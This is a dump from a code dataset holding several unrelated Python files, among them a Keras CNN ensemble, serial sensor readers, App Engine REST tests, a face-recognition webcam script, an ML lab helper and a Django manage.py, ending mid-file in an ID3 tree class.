train_images = train_images / 255\r\n\r\n test_images = np.array(test_images, dtype = np.float32)\r\n test_images = test_images / 255\r\n\r\n train_labels = utils.to_categorical(train_labels, num_classes)\r\n test_labels = utils.to_categorical(test_labels, num_classes)\r\n\r\n print('-------------------------------------------------')\r\n print(train_labels.shape)\r\n '''\r\n print('\\n\\n\\nTraining Start\\n\\n\\n')\r\n #one-hot 인코딩을 위해 범주형 변수를 변환시킨다\r\n train_labels = utils.to_categorical(train_labels, num_classes)\r\n #훈련 시작\r\n split_data_and_train_validate(train_images, train_labels)\r\n #훈련된 모델을 load시킨다.\r\n '''\r\n for idx in range(0, 5):\r\n md = Model(str(idx))\r\n #이 코드가 model에 맞는 훈련된 weights를 load 시킨다.\r\n md.load_weights()\r\n final_model.append(md)\r\n '''\r\n \r\n\r\n#image 의 사이즈를 구한다.\r\ndef data_img_size():\r\n global MINIMUM_IMAGE_NUM\r\n width = 0\r\n height = 0\r\n total_num = 0\r\n\r\n for class_folder in class_names:\r\n for image_seq in range(MINIMUM_IMAGE_NUM):\r\n filename = data_folder + class_folder + '/' + class_folder + str(image_seq) + '.jpg' \r\n if os.path.exists(filename) == False:\r\n continue\r\n img = cv2.imread(filename)\r\n img = list(img)\r\n width += len(img)\r\n height += len(img[0])\r\n total_num += 1\r\n \r\n width = width / total_num\r\n height = height / total_num\r\n width = int(width)\r\n height = int(height)\r\n return (width, height)\r\n\r\ndef test_data_img(width, height):\r\n global test_images\r\n global MININUM_TEST_NUM\r\n\r\n for class_folder in test_names:\r\n #이제는 최소의 사진 개수를 위해 FOR문을 돌린다.\r\n for image_seq in range(MININUM_TEST_NUM):\r\n filename = class_folder + '/' + class_folder + str(image_seq) + '.jpg' \r\n if os.path.exists(filename) == False:\r\n continue\r\n img = cv2.imread(filename)\r\n img = cv2.resize(img, dsize=(width, height), interpolation=cv2.INTER_AREA)\r\n img = list(img)\r\n test_images.append(img)\r\n \r\n test_images = np.array(test_images)\r\n print(test_images.shape)\r\n\r\n#train data를 넣는다.\r\ndef train_data_img(width, height):\r\n global train_images\r\n global train_labels\r\n global MINIMUM_IMAGE_NUM\r\n\r\n for class_folder in class_names:\r\n for image_seq in range(MINIMUM_IMAGE_NUM):\r\n filename = data_folder + class_folder + '/' + class_folder + str(image_seq) + '.jpg' \r\n if os.path.exists(filename) == False:\r\n continue\r\n img = cv2.imread(filename)\r\n img = cv2.resize(img, dsize=(width, height), interpolation=cv2.INTER_AREA)\r\n img = list(img)\r\n train_images.append(img)\r\n tmp = []\r\n tmp.append(dict_class_names[class_folder])\r\n train_labels.append(tmp)\r\n \r\n train_images = np.array(train_images)\r\n train_labels = np.array(train_labels)\r\n\r\n#순서대로 데이터 집합을 나눌때, random하게 데이터가 들어가게 하기 위해 shuffle 한다.\r\ndef data_shuffle():\r\n global train_images\r\n global train_labels\r\n\r\n for_shuffle = np.arange(len(train_images))\r\n np.random.shuffle(for_shuffle)\r\n\r\n train_images = train_images[for_shuffle]\r\n train_labels = train_labels[for_shuffle]\r\n\r\n#train_data, validate_data, test_data를 random 하게 나눈다.\r\ndef split_data_and_train_validate(train_images, train_labels):\r\n global batch_size\r\n global global_accuracy\r\n global final_model\r\n global model\r\n #batch_size로 나눌 수 있는 전체 data_set 개수\r\n data_set_len = int(len(train_images) / batch_size)\r\n print(data_set_len)\r\n #valid data set을 놓는다.\r\n for valid in range(0, data_set_len):\r\n valid_data = train_images[valid * batch_size : (valid + 1) * batch_size]\r\n valid_label = train_labels[valid * batch_size : (valid + 1) * batch_size]\r\n train_data_set = []\r\n train_data_label = []\r\n #train data set을 모아놓는다.\r\n for train in range(0, data_set_len):\r\n if valid == train:\r\n continue\r\n train_data_set.append(train_images[train * batch_size : (train + 1) * batch_size])\r\n train_data_label.append(train_labels[train * batch_size : (train + 1) * batch_size])\r\n \r\n #train 함수 호출\r\n train_model(train_data_set, train_data_label)\r\n #validate 함수 호출\r\n accuracy = validate(valid_data, valid_label)\r\n #모델의 정확도가 높으면, 이 모델을 저장한다.\r\n print('accuracy : ' + str(accuracy))\r\n if accuracy >= global_accuracy:\r\n final_model = model\r\n model_save()\r\n global_accuracy = accuracy\r\n model = []\r\n break\r\n\r\n\r\ndef train_model(train_data_set, train_data_label):\r\n global model\r\n #train data set을 가지고 훈련시킨다.\r\n for idx, train_data in enumerate(train_data_set):\r\n batch_model = Model(str(idx))\r\n batch_model.make_model(train_data)\r\n batch_model.model_compile()\r\n batch_model.model_fit(train_data, train_data_label[idx])\r\n model.append(batch_model)\r\n\r\ndef output_result(test_images):\r\n global final_model\r\n global class_names\r\n global result_labels\r\n global result_labels_set\r\n \r\n for img in test_images:\r\n test_img = []\r\n test_img.append(img)\r\n test_img = np.array(test_img) \r\n #여러개의 품목이 있을 수 있으므로 DICTIONARY 형태로 저장해 놓는다.\r\n #과자 : 1개, 음료수 : 2개.... 이런식으로 저장한다. (한 test 이미지 당)\r\n dict_for_result = {}\r\n predictions = np.zeros(1 * num_classes).reshape(1, num_classes)\r\n\r\n for idx, md in enumerate(final_model):\r\n p = md.predictions(test_img)\r\n predictions += p\r\n\r\n index = np.argmax(predictions)\r\n #물건 이름을 우선 print해서 출력한다.\r\n thing_name = class_names[index]\r\n print(thing_name)\r\n \r\n #우선 이미 품목이 있는지 검사한다.\r\n if dict_for_result.get(index):\r\n dict_for_result[index] += 1\r\n else:\r\n dict_for_result[index] = 1\r\n \r\n result_labels_set.append(index)\r\n \r\n #최종 label에 test당 dictionary를 붙여넣는다.\r\n result_labels.append(dict_for_result)\r\n #중복되는 물품을 없애고, 투표를 하기위해 중복물품을 없앤다.\r\n result_labels_set = set(result_labels_set)\r\n result_labels_set = list(result_labels_set)\r\n\r\n#가격을 계산하기 위한 전제함수 이다.\r\ndef prev_calculate_price():\r\n global result_labels\r\n global result_labels_set\r\n global final_result_labels\r\n global final_result_count\r\n\r\n quorm = int(MININUM_TEST_NUM / 2)\r\n\r\n #item을 하나씩 꺼내고 test마다 돌면서 투표수를 센다\r\n for item in result_labels_set:\r\n vote = 0\r\n #중복 물품이 있을 경우, 물품의 개수를 세기 위해 존재한다. 2개 : 1, 1개 : 2..... 이런식으로\r\n dict_for_item_count = {}\r\n for test in result_labels:\r\n if test.get(item):\r\n vote += 1\r\n #개수를 저장해 놓는다.\r\n if dict_for_item_count.get(test[item]):\r\n dict_for_item_count[test[item]] += 1\r\n else:\r\n dict_for_item_count[test[item]] = 0\r\n \r\n if quorm >= vote:\r\n final_result_labels.append(item)\r\n sort_item_count = sorted(dict_for_item_count.items(), reverse = True, key = lambda item : item[1])\r\n for key, _ in sort_item_count:\r\n final_result_count.append(key)\r\n break\r\n \r\n #후의 reuse를 위해 초기화 해놓는다.\r\n result_labels = []\r\n result_labels_set = []\r\n\r\ndef calculate_price():\r\n global final_result_labels\r\n global final_result_count\r\n\r\n sum = 0\r\n for index, count in zip(final_result_labels, final_result_count):\r\n sum += (class_prices[index] * count)\r\n \r\n print('최종 가격 : ' + str(sum))\r\n\r\n #후의 reuse를 위해 초기화 해놓는다.\r\n final_result_count = []\r\n final_result_labels = []\r\n\r\ndef validate(valid_data, valid_label):\r\n #accuracy를 측정하여 정확도를 비교한다.\r\n global model\r\n valid_size = len(valid_label)\r\n predictions = np.zeros(valid_size * num_classes).reshape(valid_size, num_classes)\r\n\r\n for idx, md in enumerate(model):\r\n p = md.predictions(valid_data)\r\n predictions += p\r\n \r\n #gpu를 사용하기 위한 코드\r\n #backend의 k에서 훈련시켜온 session을 tf에 입력시킨다\r\n #tf를 통해 앙상블 시킨 모든 모델에 대한 정확도를 측정한다.\r\n with tf.device(\"/gpu:0\"):\r\n with tf.compat.v1.Session(graph = K.get_session().graph) as sess:\r\n ensemble_correct_prediction = tf.compat.v1.equal(\r\n tf.compat.v1.argmax(predictions, 1), tf.compat.v1.argmax(valid_label, 1))\r\n ensemble_accuracy = tf.compat.v1.reduce_mean(\r\n tf.compat.v1.cast(ensemble_correct_prediction, tf.compat.v1.float32))\r\n return sess.run(ensemble_accuracy)\r\n\r\n#model의 weights를 저장한다.\r\ndef model_save():\r\n global model\r\n global checkpoint_dir\r\n global checkpoint_path\r\n #전체 모델의 가중치를 저장한다.\r\n for idx, md in enumerate(final_model):\r\n md.model.save_weights(checkpoint_dir + checkpoint_path + str(idx))\r\n \r\n #model를 reuse하기 위해 초기화 한다.\r\n model = []\r\n\r\nclass Model():\r\n global num_classes\r\n global epochs\r\n global checkpoint_dir\r\n global checkpoint_path\r\n\r\n def __init__(self, name):\r\n self.name = name\r\n self.num_classes = num_classes\r\n\r\n def make_model(self, train_images, drop_out = 0.25):\r\n #전체 모델의 shpae을 정의 해놓는다.\r\n self.model = keras.Sequential([\r\n Conv2D(32, kernel_size = (3, 3), padding = 'same', input_shape = train_images.shape[1:], activation = tf.nn.relu),\r\n MaxPooling2D(pool_size = (2, 2)),\r\n Dropout(drop_out),\r\n\r\n Conv2D(64, kernel_size = (3, 3), padding = 'same', activation = tf.nn.relu),\r\n MaxPooling2D(pool_size = (2, 2)),\r\n Dropout(drop_out),\r\n\r\n Flatten(),\r\n Dense(64, activation = tf.nn.relu),\r\n Dropout(drop_out),\r\n Dense(self.num_classes, activation = tf.nn.softmax)\r\n ])\r\n \r\n def model_compile(self):\r\n #모델의 shape를 그 shape대로 compile한다.\r\n if self.model == None:\r\n print('There is no model')\r\n return\r\n \r\n self.model.compile(\r\n loss = 'categorical_crossentropy',\r\n optimizer = 'adam',\r\n metrics = ['accuracy']\r\n )\r\n \r\n def model_fit(self, train_images, train_labels):\r\n #latest = tf.compat.v1.train.latest_checkpoint('training_1')\r\n latest = None\r\n if latest != None:\r\n #저장해 놨던 가중치를 load시킨다\r\n self.model.load_weights(latest)\r\n else:\r\n #저장해놓은 가중치가 없으면 훈련시킨다\r\n #callback 함수들 정의\r\n self.early_stopping = EarlyStopping(monitor = 'val_loss', patience = 10)\r\n #self.check_point = tf.compat.v1.keras.callbacks.ModelCheckpoint(filepath = checkpoint_path, save_weights_only = True, verbose = 1, period = 5)\r\n #gpu로 돌리기 위한 코드\r\n #코드 실행안되면 tensorflow-gpu 버전에 맞춰 CUDA Toolkit 설치 후 확인\r\n with tf.device('/gpu:0'):\r\n self.history = self.model.fit(\r\n train_images,\r\n train_labels,\r\n epochs = epochs,\r\n validation_data = (train_images, train_labels),\r\n shuffle = True,\r\n callbacks = [self.early_stopping]\r\n )\r\n\r\n def predictions(self, test_images):\r\n #실제 데이터를 입력하여 예측한다.\r\n return self.model.predict(test_images)\r\n \r\n def description(self):\r\n if self.model == None:\r\n print('There is no model')\r\n return\r\n #모델 전체 shape에 대한 기술을 보여준다.\r\n print(self.model.summary())\r\n\r\n #이미 훈련된 가중치를 load 시킨다.\r\n def load_weights(self):\r\n self.model.load_weights(checkpoint_dir + checkpoint_path + str(self.name))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n #global global_accuracy\r\n load_data()\r\n output_result(test_images)\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"models/research/object_detection/keras.py","file_name":"keras.py","file_ext":"py","file_size_in_byte":16109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"487666804","text":"# -*- coding:utf-8 -*-\n\n'''\n把列表的内容以字符串形式返回,且一个元素前面加And\n'''\n\ndef ListSortStr(inList):\n ListLen = len(inList)\n s=''\n if ListLen == 0:\n return 'The List is Empty'\n elif ListLen == 1:\n return str(inList[0])\n else:\n for i in range(ListLen-1):\n s = s + str(inList[i])+','\n s = s + ' And ' + str(inList[-1])\n return s\n\n\nif __name__ == '__main__':\n fruit = ['Apple', 'Banan', 'Orange']\n result = ListSortStr(fruit)\n print(result)\n temp = 'I am a Enginer'\n print(len(temp))\n a={False:'1'}\n print(a)","sub_path":"day1/ListToStr.py","file_name":"ListToStr.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"138655221","text":"import serial\nimport time\n\n# Set up serial port.\nser = serial.Serial('COM4', 9600)\n\nprint(\"This script writes output resistances to the terminal for observation.\")\nprint(\"Reset receiver board then plug in RX wire before starting.\")\ninput(\"Press Enter to start.\")\n\n# Function to get the current (realtime) reading from the sensors.\ndef getSerial():\n global data\n global ser\n \n # Clear read buffer so next read is realtime.\n ser.reset_input_buffer() \n time.sleep(0.1) # Give time for a new serial value to come in.\n \n # Get raw serial input.\n # Comes in as: b'###,###,###,###,\\r\\n'\n rawline = str(ser.readline()) # Throw away the first line, usually garbage.\n rawline = str(ser.readline())\n \n # Convert raw serial to a list of numbers.\n rawline = rawline[2:len(rawline)] # Cut off the first b' characters.\n \n # Set initial value for break.\n endraw = 0\n \n # Extract all numbers as strings. Extracted in the order defined in SensorMapping.png.\n while endraw == 0:\n data.append(int(rawline[:rawline.find(\",\")])) # Get next number in string format.\n rawline = rawline[rawline.find(\",\")+1:len(rawline)] # Seek forward past the next comma.\n \n # Check if at end of rawline data. \n if rawline[0] == '\\\\':\n endraw = 1\n\nwhile 1:\n data = [] # Zero the data array in each loop.\n \n getSerial() # Read next values.\n \n # Print string data to screen.\n j = 0\n print(' ',end='') # Clear and return to beginning of line.\n print('',end='\\r')\n for i in data:\n print(\"Sensor \",j+1,\": \",i,sep='',end=', ')\n j = j + 1","sub_path":"PS_Resistance.py","file_name":"PS_Resistance.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"317262314","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, unicode_literals\nfrom datetime import datetime, date\nfrom decimal import Decimal\nfrom base import GAETestCase\nfrom chamado_app.chamado_model import Chamado\nfrom routes.chamados import rest\nfrom gaegraph.model import Node\nfrom mock import Mock\nfrom mommygae import mommy\n\n\nclass IndexTests(GAETestCase):\n def test_success(self):\n mommy.save_one(Chamado)\n mommy.save_one(Chamado)\n json_response = rest.index()\n context = json_response.context\n self.assertEqual(2, len(context))\n chamado_dct = context[0]\n self.assertSetEqual(set(['id', 'creation', 'description', 'title']), set(chamado_dct.iterkeys()))\n self.assert_can_serialize_as_json(json_response)\n\n\nclass NewTests(GAETestCase):\n def test_success(self):\n self.assertIsNone(Chamado.query().get())\n json_response = rest.new(None, description='description_string', title='title_string')\n db_chamado = Chamado.query().get()\n self.assertIsNotNone(db_chamado)\n self.assertEquals('description_string', db_chamado.description)\n self.assertEquals('title_string', db_chamado.title)\n self.assert_can_serialize_as_json(json_response)\n\n def test_error(self):\n resp = Mock()\n json_response = rest.new(resp)\n errors = json_response.context\n self.assertEqual(500, resp.status_code)\n self.assertSetEqual(set(['description', 'title']), set(errors.keys()))\n self.assert_can_serialize_as_json(json_response)\n\n\nclass EditTests(GAETestCase):\n def test_success(self):\n chamado = mommy.save_one(Chamado)\n old_properties = chamado.to_dict()\n json_response = rest.edit(None, chamado.key.id(), description='description_string', title='title_string')\n db_chamado = chamado.key.get()\n self.assertEquals('description_string', db_chamado.description)\n self.assertEquals('title_string', db_chamado.title)\n self.assertNotEqual(old_properties, db_chamado.to_dict())\n self.assert_can_serialize_as_json(json_response)\n\n def test_error(self):\n chamado = mommy.save_one(Chamado)\n old_properties = chamado.to_dict()\n resp = Mock()\n json_response = rest.edit(resp, chamado.key.id())\n errors = json_response.context\n self.assertEqual(500, resp.status_code)\n self.assertSetEqual(set(['description', 'title']), set(errors.keys()))\n self.assertEqual(old_properties, chamado.key.get().to_dict())\n self.assert_can_serialize_as_json(json_response)\n\n\nclass DeleteTests(GAETestCase):\n def test_success(self):\n chamado = mommy.save_one(Chamado)\n rest.delete(None, chamado.key.id())\n self.assertIsNone(chamado.key.get())\n\n def test_non_chamado_deletion(self):\n non_chamado = mommy.save_one(Node)\n response = Mock()\n json_response = rest.delete(response, non_chamado.key.id())\n self.assertIsNotNone(non_chamado.key.get())\n self.assertEqual(500, response.status_code)\n self.assert_can_serialize_as_json(json_response)\n\n","sub_path":"projeto/backend/test/chamado_tests/chamado_rest_tests.py","file_name":"chamado_rest_tests.py","file_ext":"py","file_size_in_byte":3133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"118783309","text":"import face_recognition\nimport cv2\n\n\n# comenzamos la captura de video\ncap = cv2.VideoCapture(0)\n\n# Cargamos la imagen en un contenedor y lo convertimos\nmi_img = face_recognition.load_image_file(\"yo.jpg\")\nmi_img_cod = face_recognition.face_encodings(mi_img)[0]\n# Cargamos una 2da imagen y la convertimos en array\nsegunda_img = face_recognition.load_image_file(\"caramodel.jpg\")\nsegunda_img_cod = face_recognition.face_encodings(segunda_img)[0]\n\n# Inicializamos los contenedores para comparacion\nlocalizacion_cara = []\ncontenedor_codificadas = []\nnombre_de_cara = []\nbandera = True\n\n# Creamos un arreglo con las fotos conocidas\ncaras_codificadas_conocidas = [\n mi_img_cod,\n segunda_img_cod,\n]\nnombres_conocidos = [\n \"Zedrick\",\n \"Novia de Zedrick\"\n]\n\nwhile True:\n ret, frame = cap.read()\n cv2.imshow('face_recognition', frame)\n if cv2.waitKey(1) & 0xFF == ord('s'):\n break\ncap.release()\ncv2.destroyWindow()\n","sub_path":"comparations.py","file_name":"comparations.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"77791210","text":"from sklearn.model_selection import train_test_split\nimport numpy as np\nimport pandas as pd\n\ndef activation(net):\n return 1/(1+np.exp(-net))\n\ndef train(X,t,nepochs=200,n=0.5,test_size=0.3,val_size=0.3,seed=0):\n X_train, X_test, t_train, t_test = train_test_split(X, t, test_size=test_size,random_state=seed)\n X_train2, X_val, t_train2, t_val = train_test_split(X_train, t_train, test_size=val_size,random_state=seed)\n\n train_accuracy = []\n val_accuracy = []\n nfeatures = X.shape[1]\n np.random.seed(seed)\n w = 2*np.random.uniform(size=(nfeatures,)) - 1\n \n for epoch in range(nepochs):\n y_train2 = X_train2.apply(lambda x: activation(np.dot(w,x)),axis=1)\n y_val = X_val.apply(lambda x: activation(np.dot(w,x)),axis=1)\n\n train_accuracy.append(sum(t_train2 == np.round(y_train2))/len(t_train2))\n val_accuracy.append(sum(t_val == np.round(y_val))/len(t_val))\n \n for j in range(len(w)):\n w[j] -= n*np.dot((y_train2 - t_train2)*y_train2*(1-y_train2),X_train2.iloc[:,j])\n \n results = pd.DataFrame({\"epoch\": np.arange(nepochs)+1, 'train_accuracy':train_accuracy,'val_accuracy':val_accuracy,\n \"n\":n,'test_size':test_size,'val_size':val_size,'seed':seed\n }).set_index(['n','test_size','val_size','seed'])\n return w,X_test,t_test,results\n \ndef evaluate_baseline(t_test,t_train2,t_val):\n frac_max_class = None\n accuracy_test = None\n accuracy_train2 = None\n accuracy_val = None\n return frac_max_class,accuracy_test,accuracy_train2,accuracy_val\n\ndef predict(w,X,threshold=0.5):\n y = None\n return y\n\ndef confusion_matrix(t,y,labels):\n cm = pd.DataFrame(columns=labels,index=labels)\n # actual is on the rows, pred on the columns\n return cm\n\ndef evaluation(cm,positive_class=1):\n stats = {}\n return stats\n\ndef importance(X,t,seeds):\n importances = pd.Series(np.zeros((X.shape[1],)),index=X.columns)\n return importances","sub_path":"labs/Lab3_helper.py","file_name":"Lab3_helper.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"651306778","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 9 14:07:55 2019\n\n@author: Lvov_AS\n\"\"\"\n\n'''\n\nИгра в пятнашки. \n\nИгровое поле 4х4, числа от 1 до 15 в клетках и одна пустая клетка. Вначале игры\nвсе клетки перемешиваются случайным образом. Пользователю необходимо переместить\nчисла таким образом, чтобы они расположились по порядку от меньшего к большему, а\nпустая клетка оказалась в правом нижнем углу поля.\nДля перестановки клеток нужно использовать клавиши:\n'w' - вверх\n's' - вниз\n'a' - влево\n'd' - вправо\n\nВыходить за пределы поля нельзя!\nПосле каждого хода поле должно отрисовываться заново, должна выполняться проверка окончания игры.\n\n\n''' \nimport random\nimport pandas as pd\nfrom IPython.display import clear_output\n\ndef create_field (s=[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,' ']):\n random.shuffle(s)\n new_field=['','','','']\n j=0\n for i in range(0,4):\n new_field[i]=[s[j],s[j+1],s[j+2],s[j+3]]\n j+=4\n return new_field\n\ndef check_win(live_field, model=[[1,2,3,4],[5,6,7,8],[9,10,11,12],[13,14,15,' ']]):\n if live_field==model:\n print(\"Вы выиграли!\")\n return True\n else: \n return False\n \ndef draw_field(live_field):\n df=pd.DataFrame(data=live_field, columns=['','','',''], index=['','','',''])\n print(df)\n \ndef check_possible(field,step):\n for i in range(4):\n for j in range(4):\n if field[i][j]==' ':\n a=i\n b=j\n if (a==0 and step=='w') or (a==3 and step=='s') or (b==0 and step=='a') or (b==3 and step=='d'):\n print(\"Неверный шаг\")\n return False\n else:\n return True\n \n\ndef game(live_field):\n step=input(\"Ваш шаг: \")\n if step==\"End\":\n raise Exception\n if check_possible(live_field,step):\n for i in range(4):\n for j in range(4):\n if live_field[i][j]==' ':\n a=i\n b=j\n if step==\"w\":\n live_field[a][b]=live_field[a-1][b]\n live_field[a-1][b]=' '\n elif step==\"s\":\n live_field[a][b]=live_field[a+1][b]\n live_field[a+1][b]=' '\n elif step==\"a\":\n live_field[a][b]=live_field[a][b-1]\n live_field[a][b-1]=' '\n elif step==\"d\":\n live_field[a][b]=live_field[a][b+1]\n live_field[a][b+1]=' '\n else:\n print(\"Для перестановки клеток нужно использовать клавиши: 'w' - вверх; 's' - вниз; 'a' - влево; 'd' - вправо\")\n draw_field(live_field)\n \n\nfield=create_field()\ndraw_field(field)\n\nwhile check_win(field)!= True:\n try:\n game(field)\n except Exception:\n print(\"Вы завершили игру!\")\n break\n\n \n","sub_path":"some_games/15-ki.py","file_name":"15-ki.py","file_ext":"py","file_size_in_byte":3234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"34852959","text":"#!/usr/bin/env python\n\n# When project_template is used as the actual project during Mezzanine\n# development, insert the development path into sys.path so that the\n# development version of Mezzanine is used rather than the installed\n# version.\nimport os\nimport sys\n\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.abspath(os.path.dirname(__file__)), os.pardir, os.pardir)))\nsys.path.insert(0, os.path.abspath(os.path.join(os.path.abspath(os.path.dirname(__file__)), os.pardir)))\n\nproject_path = os.path.dirname(os.path.abspath(__file__))\nproject_dir = project_path.split(os.sep)[-1]\nif project_dir == \"project_template\":\n dev_path = os.path.abspath(os.path.join(project_path, \"..\", \"..\"))\n if dev_path not in sys.path:\n sys.path.insert(0, dev_path)\n from mezzanine.utils.importing import path_for_import\n mezzanine_path = path_for_import(\"mezzanine\")\n assert os.path.abspath(os.path.join(mezzanine_path, \"..\")) == dev_path\n\n# Corrects some pathing issues in various contexts, such as cron jobs.\nos.chdir(project_path)\n\nfor i, arg in enumerate(sys.argv):\n if arg.startswith(\"--site\"):\n os.environ[\"MEZZANINE_SITE_ID\"] = arg.split(\"=\")[1]\n sys.argv.pop(i)\n\nif __name__ == \"__main__\":\n os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"cml.settings\")\n\n from django.core.management import execute_from_command_line\n execute_from_command_line(sys.argv)\n","sub_path":"manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"428653454","text":"# Description: Python script to load and visualize What's Cooking Data\n# Other sources: used lemmitization code from @DipayanSinhaRoy\n# https://www.kaggle.com/dipayan/whats-cooking/whatscooking-python\n#%pylab\n# import numpy as np\nfrom time import time\nimport pandas as pd\nimport re\nimport colormaps as cmaps # cmaps.parula (matlab), cmaps.viridis, inferno, magma, plasma \n# import matplotlib.pyplot as plt \n# import matplotlib.patheffects as PathEffects\n\nfrom nltk.stem import WordNetLemmatizer\nfrom sklearn.manifold import TSNE\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.decomposition import PCA\n\nfrom tsne import bh_sne\n\n# Read JSON data using pandas\n# columns are: id, cuisine, ingredients\ndata = pd.read_json('train.json')\n\nlabels = LabelEncoder()\nlabels.fit(data.cuisine)\nall_classes = labels.classes_\nnum_classes = len(all_classes)\n\n# Get numerical labels for ytrain \ny_train = labels.transform(data.cuisine)\n\n# Vectorization of ingredients Using WordNet lemmatization & Tfid\ndata['ingredients_clean_string'] = [' , '.join(z).strip() for z in data['ingredients']] \ndata['ingredients_string'] = [' '.join([WordNetLemmatizer().lemmatize(re.sub('[^A-Za-z]', ' ', line)) for line in lists]).strip() for lists in data['ingredients']]\n\nvectorizer = TfidfVectorizer(stop_words='english', ngram_range=(1,1), max_df=0.57, analyzer='word', token_pattern=r'\\w+')\nx_train = vectorizer.fit_transform(data.ingredients_string).todense()\ningred_dict = vectorizer.vocabulary_\n\n# limit training data: british, chinese & indian\n#idx = np.logical_or(y_train==1, y_train==3)\n#idx = np.logical_or(idx, y_train==2)\n#idx = np.logical_or(idx, y_train==4)\n#idx = np.logical_or(idx, y_train==5)\n#idx = np.logical_or(idx, y_train==7)\n#x_train = x_train[idx]\n#y_train = y_train[idx]\n\n\n# Visualize Using PCA \nt0 = time()\nx_pca = PCA(n_components=2).fit_transform(x_train)\nt1 = time()\nprint(\"PCA: %.2g sec\" % (t1 - t0))\nfigure()\nscatter(x_pca[:,0], x_pca[:,1], c=y_train, cmap=cmaps.parula)\ntitle('PCA Visualization of Cuisines')\nxlabel('Component 1')\nylabel('Component 2')\n\n# Visualize Using t-SNE\nprint(\"Computing t-SNE embedding\")\nt0 = time()\n#tsne = TSNE(n_components=2, init='pca', random_state=0)\n#x_tsne = tsne.fit_transform(x_train)\nx_tsne = bh_sne(x_train)\nt1 = time()\nprint(\"t-SNE: %.2g sec\" % (t1 - t0))\nfigure()\nscatter(x_tsne[:,0], x_tsne[:,1], c=y_train, cmap=cmaps.parula)\ntitle('t-SNE Visualization of Cuisines')\nxlabel('Component 1')\nylabel('Component 2')\n\n","sub_path":"load_data.py","file_name":"load_data.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"473402969","text":"import Zero\nimport Events\nimport Property\nimport VectorMath\nVec4 = VectorMath.Vec4\nimport math\nimport random\nclass RandomFlickering:\n def Initialize(self, initializer):\n Zero.Connect(self.Space, Events.LogicUpdate, self.OnLogicUpdate)\n self.sum = random.random() * 10\n def OnLogicUpdate(self, UpdateEvent):\n self.sum += UpdateEvent.Dt * (random.random() + .5) * 1.3 + (random.random()-0.5) / 4 + (10 if random.randint(1,60) == 1 else 0)\n da = math.cos(self.sum)/4. + 0.4\n for child in self.Owner.Hierarchy.Children:\n if not child.Name == \"Door\":\n c = child.Sprite.Color\n child.Sprite.Color = Vec4(c.x,c.y,c.z,.98*c.a + .02*da)\n if child.Hierarchy:\n for ch in child.Hierarchy.Children:\n c = ch.Sprite.Color\n ch.Sprite.Color = Vec4(c.x,c.y,c.z,.98*c.a + .02*da)\n \n \n \nZero.RegisterComponent(\"RandomFlickering\", RandomFlickering)","sub_path":"prototypes/s_IntroTitleModified/Content/RandomFlickering.py","file_name":"RandomFlickering.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"594393269","text":"import csv\r\nimport re\r\nimport numpy as np\r\n\r\ndef upper_to_full_mat(fname):\r\n\twith open(fname, newline='') as csvfile:\r\n\t\treader = csv.reader(csvfile, delimiter=',', quotechar='|', skipinitialspace=True)\r\n\t\tl = list()\r\n\t\tr = re.compile(r'\\s')\r\n\t\tfor row in reader:\r\n\t\t\t'''if(count <= 10):\r\n\t\t\t\tprint(', '.join(row))\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\t\t\tcount += 1'''\r\n\t\t\trow_str = ''\r\n\t\t\trow_str.join(row)\r\n\t\t\tif(row_str == ' '):\r\n\t\t\t\trow_str = r.sub('0', row_str)\r\n\t\t\t#l.append(np.fromstring(row_str, np.float))\r\n\t\t\tprint(np.fromstring(row_str, np.float))\r\n\t\t#print(l)\r\n\r\nupper_to_full_mat('C:/Users/Dwaipayan Sen/Dropbox/GRANCH Review/Progs_and_Results/data/wang_zhang_ex.txt')","sub_path":"Zika_enevelope/upper_triang_to_full_matrix.py","file_name":"upper_triang_to_full_matrix.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"619865566","text":"from Ensemble import Ensemble, Exemple\nfrom Noeud import Noeud, Feuille\n\nclass Arbre_ID3:\n \"\"\"\n Un arbre ID3 contient deux valeurs :\n - un ensemble d'exemples (Ensemble)\n - un arbre (Noeud)\n \"\"\"\n\n def __init__(self, chemin=\"\"):\n \"\"\"\n chemin est l'emplacement du fichier contenant les données\n \"\"\"\n #initialisation de l'ensemble avec le fichier dans chemin\n self.ensemble = Ensemble(chemin)\n #initialisation du noeud principal de l'arbre\n self.arbre = None\n\n def construire(self):\n \"\"\"\n génère l'arbre sur base de l'ensemble pré-chargé\n \"\"\"\n self.arbre = self.__construire_arbre(self.ensemble)\n\n def __construire_arbre(self, ensemble):\n \"\"\"\n fonction privée et récursive pour a génération de l'arbre\n \"\"\"\n if not isinstance(ensemble, Ensemble):\n raise TypeError(\"ensemble doit être un Ensemble et non un {}\" \\\n 